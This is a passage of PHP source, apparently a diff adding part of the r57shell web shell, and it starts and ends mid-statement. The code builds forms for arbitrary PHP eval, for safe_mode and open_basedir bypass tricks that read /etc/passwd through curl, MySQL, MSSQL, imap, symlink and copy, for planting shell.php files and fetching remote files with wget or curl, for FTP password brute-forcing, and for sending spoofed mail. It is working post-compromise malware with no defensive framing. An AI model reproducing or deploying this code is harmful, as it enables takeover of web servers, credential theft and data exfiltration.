+<option value="27">27</option> +<option value="28">28</option> +<option value="29">29</option> +<option value="30">30</option> +<option value="31">31</option> +</select>' +.ws(4)."<b>Month".$arrow."</b>" +.' +<select name="month" size="1"> +<option value="January">January</option> +<option value="February">February</option> +<option value="March">March</option> +<option value="April">April</option> +<option value="May">May</option> +<option value="June">June</option> +<option value="July">July</option> +<option value="August">August</option> +<option value="September">September</option> +<option value="October">October</option> +<option value="November">November</option> +<option value="December">December</option> +</select>' +.ws(4)."<b>Year".$arrow."</b>" +.' +<select name="year" size="1"> +<option value="1998">1998</option> +<option value="1999">1999</option> +<option value="2000">2000</option> +<option value="2001">2001</option> +<option value="2002">2002</option> +<option value="2003">2003</option> +<option value="2004">2004</option> +<option value="2005">2005</option> +<option value="2006">2006</option> +<option value="2006">2007</option> +<option value="2006">2008</option> +<option value="2006">2009</option> +<option value="2006">2010</option> +</select>' +.ws(4)."<b>Hour".$arrow."</b>" +.' +<select name="chasi" size="1"> +<option value="01">01</option> +<option value="02">02</option> +<option value="03">03</option> +<option value="04">04</option> +<option value="05">05</option> +<option value="06">06</option> +<option value="07">07</option> +<option value="08">08</option> +<option value="09">09</option> +<option value="10">10</option> +<option value="11">11</option> +<option value="12">12</option> +<option value="13">13</option> +<option value="14">14</option> +<option value="15">15</option> +<option value="16">16</option> +<option value="17">17</option> +<option value="18">18</option> +<option value="19">19</option> +<option value="20">20</option> +<option value="21">21</option> +<option value="22">22</option> +<option value="23">23</option> +<option value="24">24</option> +</select>' +.ws(4)."<b>Minute".$arrow."</b>" +.' +<select name="minutes" size="1"> +<option value="01">1</option> +<option value="02">2</option> +<option value="03">3</option> +<option value="04">4</option> +<option value="05">5</option> +<option value="06">6</option> +<option value="07">7</option> +<option value="08">8</option> +<option value="09">9</option> +<option value="10">10</option> +<option value="11">11</option> +<option value="12">12</option> +<option value="13">13</option> +<option value="14">14</option> +<option value="15">15</option> +<option value="16">16</option> +<option value="17">17</option> +<option value="18">18</option> +<option value="19">19</option> +<option value="20">20</option> +<option value="21">21</option> +<option value="22">22</option> +<option value="23">23</option> +<option value="24">24</option> +<option value="25">25</option> +<option value="26">26</option> +<option value="27">27</option> +<option value="28">28</option> +<option value="29">29</option> +<option value="30">30</option> +<option value="31">31</option> +<option value="32">32</option> +<option value="33">33</option> +<option value="34">34</option> +<option value="35">35</option> +<option value="36">36</option> +<option value="37">37</option> +<option value="38">38</option> +<option value="39">39</option> +<option value="40">40</option> +<option value="41">41</option> +<option value="42">42</option> +<option value="43">43</option> +<option value="44">44</option> +<option value="45">45</option> +<option value="46">46</option> +<option value="47">47</option> +<option value="48">48</option> +<option value="49">49</option> +<option value="50">50</option> +<option value="51">51</option> +<option value="52">52</option> +<option value="53">53</option> +<option value="54">54</option> +<option value="55">55</option> +<option value="56">56</option> +<option value="57">57</option> +<option value="58">58</option> +<option value="59">59</option> +</select>' +.ws(4)."<b>Second".$arrow."</b>" +.' +<select name="second" size="1"> +<option value="01">1</option> +<option value="02">2</option> +<option value="03">3</option> +<option value="04">4</option> +<option value="05">5</option> +<option value="06">6</option> +<option value="07">7</option> +<option value="08">8</option> +<option value="09">9</option> +<option value="10">10</option> +<option value="11">11</option> +<option value="12">12</option> +<option value="13">13</option> +<option value="14">14</option> +<option value="15">15</option> +<option value="16">16</option> +<option value="17">17</option> +<option value="18">18</option> +<option value="19">19</option> +<option value="20">20</option> +<option value="21">21</option> +<option value="22">22</option> +<option value="23">23</option> +<option value="24">24</option> +<option value="25">25</option> +<option value="26">26</option> +<option value="27">27</option> +<option value="28">28</option> +<option value="29">29</option> +<option value="30">30</option> +<option value="31">31</option> +<option value="32">32</option> +<option value="33">33</option> +<option value="34">34</option> +<option value="35">35</option> +<option value="36">36</option> +<option value="37">37</option> +<option value="38">38</option> +<option value="39">39</option> +<option value="40">40</option> +<option value="41">41</option> +<option value="42">42</option> +<option value="43">43</option> +<option value="44">44</option> +<option value="45">45</option> +<option value="46">46</option> +<option value="47">47</option> +<option value="48">48</option> +<option value="49">49</option> +<option value="50">50</option> +<option value="51">51</option> +<option value="52">52</option> +<option value="53">53</option> +<option value="54">54</option> +<option value="55">55</option> +<option value="56">56</option> +<option value="57">57</option> +<option value="58">58</option> +<option value="59">59</option> +</select>' +.in('hidden','cmd',0,'touch') +.in('hidden','dir',0,$dir) +.ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} + +$select=''; +if(@function_exists('chmod')){$select .= "<option value=mod>CHMOD</option>";} +if(@function_exists('chown')){$select .= "<option value=own>CHOWN</option>";} +if(@function_exists('chgrp')){$select .= "<option value=grp>CHGRP</option>";} +if($unix && $select){ +echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id6').$table_up2.div('id6').$ts; +echo @sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','param1',55,(($_POST['param1'])?($_POST['param1']):($dir."/r57shell.php"))).ws(2)."<b>".$lang[$language.'_text68'].$arrow."</b>"."<select name=what>".$select."</select>".ws(4).in('text','param2 title="'.$lang[$language.'_text71'].'"',10,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(!$safe_mode){ +$aliases2 = ''; +foreach ($aliases as $alias_name=>$alias_cmd) + { + $aliases2 .= "<option>$alias_name</option>"; + } +echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id7').$table_up2.div('id7').$ts; +echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} + +echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id8').$table_up2.div('id8').$ts; +echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir)); +echo $te.'</div>'.$table_end1.$fe; + +if(!$safe_mode && $unix){ +echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id9').$table_up2.div('id9').$ts; +echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir)); +echo $te.'</div>'.$table_end1.$fe; +} + +echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id10').$table_up2.$font; +echo "<div align=center>".div('id10')."<textarea name=php_eval cols=100 rows=10>"; +echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");\r\n//file_get_content(\"/etc/passwd\");")); +echo "</textarea>"; +echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval'); +echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']); +echo "</div></div></font>"; +echo $table_end1.$fe; + +if($safe_mode || $open_basedir) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts; +echo "<table class=table1 width=100% align=center>"; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && $curl_on && @version_compare(@phpversion(),"5.2.0")<=0) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id12').$table_up2.div('id12').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && $mysql_on) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text35'],'id13').$table_up2.div('id13').$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306")))); +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && $mssql_on) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id14').$table_up2.div('id14').$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433")))); +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && $unix && @function_exists('mb_send_mail') && @version_compare(@phpversion(),"5.2.0")<=0){ +echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id15').$table_up2.div('id15').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && @function_exists('imap_open') && @function_exists('imap_list') && @version_compare(@phpversion(),"5.2.0")<=0){ +echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id20').$table_up2.div('id20').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && @function_exists('imap_open') && @function_exists('imap_body') && @version_compare(@phpversion(),"5.2.0")<=0){ +echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id21').$table_up2.div('id21').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && @function_exists('copy') && @version_compare(@phpversion(),"5.2.0")<=0) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id22').$table_up2.div('id22').$ts; +echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8')); +echo sr(15,"<b>".$lang[$language.'_text117'].$arrow."</b>",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && @function_exists('ini_restore') && @version_compare(@phpversion(),"5.2.0")<=0){ +echo $fs.$table_up1.div_title($lang[$language.'_text120'],'id23').$table_up2.div('id23').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test9_file',96,(!empty($_POST['test9_file'])?($_POST['test9_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test9').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.0.0")<0){ +echo $fs.$table_up1.div_title($lang[$language.'_text121'],'id24').$table_up2.div('id24').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test10_file',96,(!empty($_POST['test10_file'])?($_POST['test10_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test10').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && @function_exists('glob') && @version_compare(@phpversion(),"5.2.2")<=0){ +echo $fs.$table_up1.div_title($lang[$language.'_text122'],'id19').$table_up2.div('id19').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',96,(!empty($_POST['test18_file'])?($_POST['test18_file']):($dir))).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.2")<=0) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text130'],'id25').$table_up2.div('id25').$ts; +echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test11_file',96,(!empty($_POST['test11_file'])?($_POST['test11_file']):("/tmp/test.zip"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test11').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.2")<=0) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text123'],'id26').$table_up2.div('id26').$ts; +echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test12_file',96,(!empty($_POST['test12_file'])?($_POST['test12_file']):("/tmp/test.bzip"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test12').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && @function_exists('error_log') && @version_compare(@phpversion(),"5.2.2")<=0) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text124'],'id27').$table_up2.div('id27').$ts; +echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test13_file2',96,(!empty($_POST['test13_file2'])?($_POST['test13_file2']):($dir."/shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test13')); +echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test13_file1',96,(!empty($_POST['test13_file1'])?($_POST['test13_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.2")<=0) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text126'],'id28').$table_up2.div('id28').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test14_file2',96,(!empty($_POST['test14_file2'])?($_POST['test14_file2']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test14')); +echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test14_file1',96,(!empty($_POST['test14_file1'])?($_POST['test14_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && @function_exists('readfile') && @version_compare(@phpversion(),"5.2.2")<=0) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text127'],'id29').$table_up2.div('id29').$ts; +echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test15_file2',96,(!empty($_POST['test15_file2'])?($_POST['test15_file2']):($dir."/shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test15')); +echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test15_file1',96,(!empty($_POST['test15_file1'])?($_POST['test15_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.4")<=0) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text129'],'id16').$table_up2.div('id16').$ts; +echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test16_file',96,(!empty($_POST['test16_file'])?($_POST['test16_file']):($dir."/test.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test16').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if(($safe_mode || $open_basedir) && @function_exists('symlink') && @version_compare(@phpversion(),"5.2.2")<=0) +{ +echo $table_up1.div_title($lang[$language.'_text131'],'id17').$table_up2.div('id17').$ts; +echo "<tr><td valign=top width=70%>".$ts; +echo sr(20,"<b>".$lang[$language.'_text30'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe); +echo $te."</td><td valign=top width=30%>".$ts; +echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_2').in('submit','submit',0,$lang[$language.'_butt8']).$fe); +echo $te."</td></tr>"; +echo $te.'</div>'.$table_end1; +} + +if(($safe_mode || $open_basedir) && @function_exists('symlink') && @version_compare(@phpversion(),"5.2.2")<=0) +{ +echo $table_up1.div_title($lang[$language.'_text132'],'id18').$table_up2.div('id18').$ts; +echo "<tr><td valign=top width=70%>".$ts; +echo sr(20,"<b>".$lang[$language.'_text4'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe); +echo $te."</td><td valign=top width=30%>".$ts; +echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_3').in('submit','submit',0,$lang[$language.'_butt8']).$fe); +echo $te."</td></tr>"; +echo $te.'</div>'.$table_end1; +} + + +if((!@function_exists('ini_get')) || @ini_get('file_uploads')){ +echo "<form name=upload method=POST ENCTYPE=multipart/form-data>"; +echo $table_up1.div_title($lang[$language.'_text5'],'id30').$table_up2.div('id30').$ts; +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile0',85,'')); +echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.'</div>'.$table_end1.$fe; +} + + +if((!@function_exists('ini_get')) || @ini_get('file_uploads')){ +echo "<form name=upload method=POST ENCTYPE=multipart/form-data>"; +echo $table_up1.div_title('Multy '.$lang[$language.'_text5'],'id34').$table_up2.div('id34').$ts; +echo "<tr><td valign=top width=50%>".$ts; +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile1',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile2',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile3',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile4',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile5',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile6',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile7',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile8',35,'')); +echo $te."</td><td valign=top width=50%>".$ts; +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile9',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile10',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile11',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile12',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile13',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile14',35,'')); +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile15',35,'')); +echo sr(15,'',in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te."</td></tr>"; +echo $te.'</div>'.$table_end1.$fe; +} + + +$select=''; +if((!@function_exists('ini_get')) || (@ini_get('allow_url_fopen') && @function_exists('fopen'))){$select = "<option value=\"fopen\">fopen</option>";} +if(!$safe_mode){ + if(which('wget')){$select .= "<option value=\"wget\">wget</option>";} + if(which('fetch')){$select .= "<option value=\"fetch\">fetch</option>";} + if(which('lynx')){$select .= "<option value=\"lynx\">lynx</option>";} + if(which('links')){$select .= "<option value=\"links\">links</option>";} + if(which('curl')){$select .= "<option value=\"curl\">curl</option>";} + if(which('GET')){$select .= "<option value=\"GET\">GET</option>";} +} +if($select){ + echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id31').$table_up2.div('id31').$ts; + echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\">".$select +."</select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://')); + echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); + echo $te.'</div>'.$table_end1.$fe; +} + +echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id32').$table_up2.div('id32').$ts; +echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14'])); +$arh = $lang[$language.'_text92']; +if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; } +if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; } +if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; } +echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh); +echo $te.'</div>'.$table_end1.$fe; + +if(@function_exists("ftp_connect")){ +echo $table_up1.div_title($lang[$language.'_text93'],'id33').$table_up2.div('id33').$ts."<tr>".$fs."<td valign=top width=33%>".$ts; + +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text94']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').in('hidden','dir',0,$dir)); +echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>"); +echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']); +echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']); +echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',0,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("root")))); +echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'/passw.dic')))); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt1'])); + +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down')); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir)); +echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14'])); + +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir)); +echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up')); +echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2'])); + +echo $te."</td>".$fe."</tr></div></table>"; +} + + +if(@function_exists("mail")){ +echo $table_up1.div_title($lang[$language.'_text102'],'id35').$table_up2.div('id35').$ts."<tr>".$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir)); +echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("hello billy")))); +echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>'); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); + +echo 